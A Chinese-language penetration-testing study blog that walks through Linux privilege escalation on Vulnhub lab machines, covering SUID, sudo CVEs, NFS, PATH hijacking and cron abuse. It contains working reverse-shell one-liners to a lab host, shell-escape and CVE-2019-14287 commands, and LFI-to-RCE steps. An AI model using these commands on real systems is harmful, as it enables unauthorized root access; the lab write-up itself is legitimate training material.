第139-140天:Linux系统权限提升篇&Vulhub&辅助项目&SUID权限&SUDO指令&版本漏洞

第139-140天:Linux系统权限提升篇&Vulhub&辅助项目&SUID权限&SUDO指令&版本漏洞
Yatming的博客SUID&SUDO介绍
SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。
通俗来讲就是当root用户赋予一个文件suid、sudo权限时,导致这个文件被调用的时候就会享有root权限
SUID&SUDO利用参考地址
https://gtfobins.github.io/
演示案例-Linux系统提权-Web权限&普通用户权限-Suid
SUID&GUID-入门
SUID和GUID其实是差不多的含义,一个是用户拥有,一个是一整个组都拥有suid权限
复现环境:https://www.vulnhub.com/entry/dc-1,292/
SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)
。
SUID和SUDO的参考项目:https://gtfobins.github.io/
和上一个章节一样,所以这里同样使用msf进行利用。拿到webshell之后使用检测脚本进行检测
从上面提到过的github的一个suid和sudo提权的项目里面可以找到:
1 | which find |
还可以使用手工的方式进行suid检测:
1 | find / -perm -u=s -type f 2>/dev/null |
SUID&GUID-进阶
复现环境:https://www.vulnhub.com/entry/toppo-1,245/
然后就可以开启了,由于他还是dc的那个主机,为了节省时间,直接扫192.168.111.143
了
通过目录扫描得到一个密码:
账号是:ted
,似乎这个是有提示,但是小迪没有找到是哪里有提示。
1 | ted/12345ted123 |
直接使用ssh进行登陆,然后同样上传检测脚本,或者使用手工检测:
1 | find / -perm -u=s -type f 2>/dev/null |
1 | /usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.111.131",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
演示案例-Linux系统提权-普通用户权限-Sudo(cve)
SUDO-入门
复现环境:https://www.vulnhub.com/entry/toppo-1,245/
手工命令查找SUDO权限
1 | cat /etc/sudoers #查看有哪些程序拥有sudo权限 |
1 | /usr/bin/awk 'BEGIN {system("/bin/sh")}' |
SUDO-CVE-2019-14287 权限绕过漏洞
复现环境:https://www.vulnhub.com/entry/devguru-1,620/
1 | 80,8585 |
git泄漏(利用点)
1 | python2 GitHack.py -u http://192.168.111.144/.git/ |
在网站的config目录下面有一个database.php
,在这里面发现对应的数据库账号密码
1 | october/SQ66EBYx4GT3byXH |
用上面扫到的数据库地址,使用这里账号密码进行登陆一下。
这里还有一种方式,就是新建用户的时候,这个数据库是可以自己选择加密方式的(实战中一般不会有这种机会)
这里的role_id
要设置为2,然后密码那里可以选择一种加密方式,要选择encrypt
在这里的user组中,将你添加的用户添加他的组id为1,因为有可能id为1就是管理组。
使用刚刚添加的用户进行后台登陆。如果没有这个cms,说明你的权限不对。
1 | function onStart(){ |
这里使用蚁剑才能进行链接,哥斯拉还连不上,如果想要使用哥斯拉需要写入对应的代码
找备份寻突破(升权)
/var/backup/app.ini.bak
修改用户密码 登录后台 写入反弹
使用得到的用户密码再次进行数据库登陆。
如果代码学的比较好,这里同样是可以追踪代码来达到解密密码,然后就不用创建用户了。如果这里没有源代码,可以看看这个网站是否是开源程序,从名字来看是:gitea
那么你就可以从网上搜关键字,如果可以下载源码,那么就可以进行分析了。
同样因为是公开程序,可以看看是否有对应的漏洞可以直接利用。
还有一种方式就是,可能开源程序的默认密码是123456,然后你就可以现在本地搭建一遍,然后将自己本地数据库的那个加密后的值将这里的值进行调换,这里用的也是这个程序的加密方式,密码就改成123456了。
1 | 4f6289d97c8e4bb7d06390ee09320a272ae31b07363dbee078dea49e4881cdda50f886b52ed5a895 |
然后就可以使用:
1 | frank/123456 |
为什么这里不新建一个用户,因为程序中限制了注册用户,就算这里你用加密后的密文,然后去添加用户,这个添加的用户也登陆不了的。
插入反弹shell
这里还提示我,githook写的有问题,这里我就换一个反弹shell的命令。
1 | bash -c "exec bash -i >& /dev/tcp/192.168.111.131/5566 0>&1" |
然后随便编辑一个文件就行。
可以看到shell已经弹回来了。
利用sudo提权(cve-2019-14287)
CVE-2019-14287 的利用范围主要集中在 sudo
1.8.28 之前的版本
1 | sudo -l |
1 | /usr/bin/sqlite3 /dev/null '.shell /bin/sh' |
发现提权失败。通过wp得知,是通过sudo进行提权。
1 | sudo -v |
1 | sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh' |
1 | git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限) |
SUDO-CVE(CVE-2021-3156) 提权漏洞
影响的版本:
1 | sudo: 1.8.2 - 1.8.31p2 |
我这里没有kali的老版本,我这里使用centos7
判断漏洞是否存在
1 | sudoedit -s / 报错存在 |
利用
1 | git clone https://github.com/blasty/CVE-2021-3156.git |
我这里找网上下载ubuntu18利用没有成功。想要成功还得使用kali,但是不想折腾了,直接放成功的截图吧。
权限提升-Linux系统权限提升篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID
演示案例-Linux系统提权-Web&普通用户-SUID-NFS安全
NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。
virtualbox官网下载地址:https://www.virtualbox.org/wiki/Downloads
靶机下载地址:https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/
这个靶机还不能用vmware打开,得用virtualbox打开才能正常兼容。virtualbox一般还不能使用nat网络,得用桥接网络才行。
前提条件:NFS端口服务开启和web或用户权限进行利用
信息收集
因为内网机器太多了,这里推荐直接使用arp查看,然后在使用nmap进行一对一的扫描
1 | nmap -p 1-65535 192.168.84.59/24 |
1 | http://192.168.84.59/file.php?file=/etc/passwd |
NFS服务利用
1 | showmount -e 192.168.84.59 |
1 | mkdir nfs //本地kali创建一个nfs目录 |
配合SUID提权
这里有一个思路,把本地suid权限的find上传到目标nfs目录里,那对方不也有这个suid权限的find了吗
1 | find / -perm -u=s -type f 2>/dev/null //查看本地suid权限的文件 |
可以看到刚刚添加的yatming,在对方的系统的suid权限中。
当使用find提权的时候,会报错,因为对方的ubuntu的版本和我们当前的kali版本不符合
1 | 两种解决方案 |
这里采用第二种:
1 | getroot.c |
1 | cp getroot /root/nfs //复制bash到挂载目录下 |
这里使用msf进行接收shell,接收不到,然后使用nc也弹不回来。
1 | python -c 'import pty; pty.spawn("/bin/bash")' //python起一个交互式终端 |
没有交互式shell,也不能使用python进行反弹。所以这里就直接将命令,改成id和whami,看个效果
演示案例-Linux系统提权-普通用户-SUID-PATH变量
复现环境:https://www.vulnhub.com/entry/symfonos-1,322/
前提条件:存在SUID的应用中能执行额外命令加用户权限
1 | smbclient -L 192.168.111.147 |
权限获取
发现上面有一个匿名用户
1 | smbclient //192.168.111.147/anonymous |
1 | smbclient //192.168.111.147/helios -U helios |
发现有一个todo.txt
1 | 发现有一个路径,用它进行访问 |
从页面得知这是一个wordpress的web
1 | 使用kali自带的工具进行扫描 |
1 | searchsploit mail masta 1.0 //利用searchsploit搜索mail漏洞或者百度关键字 |
1 | http://192.168.111.147/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd |
1 | telnet 192.168.111.147 25 |
1 | http://192.168.111.147/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell= |
但是不能用webshell工具进行链接,所以用了python的方式进行反弹shell。
1 | python -c 'import pty;pty.spawn("/bin/bash")' //python起一个交互终端 |
1 | strings /opt/statuscheck //查看这个文件的内容,寻找有用信息 |
在 Linux 中,strings
命令用于从 二进制文件、可执行文件、库文件、图像文件 等非文本文件中,提取并输出其中的 可打印字符串(即人类可读的文本,如 ASCII 字符序列)。
利用思路:因为这个工具中有curl命令的执行,那么就可以给curl设置一个环境变量,为下面的内容,当在tmp目录中执行/opt/statuscheck
这个程序的时候,就会调用里面的curl,而/opt/statuscheck
这个程序同样是suid权限,所以就会以root用户执行这个命令,如果实战中是一个不能向上面一样使用命令进行解开的话,就需要自己去逆向了
1 | cd /tmp |
演示案例-Linux系统提权-Web&普通用户-Cron计划任务
复现环境:https://www.vulnhub.com/entry/jarbas-1,232/
前提条件:Web或用户权限进行查看,任务文件可修改
1 | eder:vipsu |
使用破击之后的账户进行jenkins
登陆
可以考虑从网上搜索jenkins,getshell的方式,如果可以登陆进去的话,就是创建任务。
创建一个自由风格的任务。
权限提升
1 | cat /etc/crontab //查看当前服务器的计划任务 |
1 | ls -lia /etc/script/CleaningScript.sh //查看对该任务文件的权限 |
1 | echo "/bin/bash -i >& /dev/tcp/192.168.111.131/5887 0>&1" >> /etc/script/CleaningScript.sh //把反弹shell命令写进这个文件里 |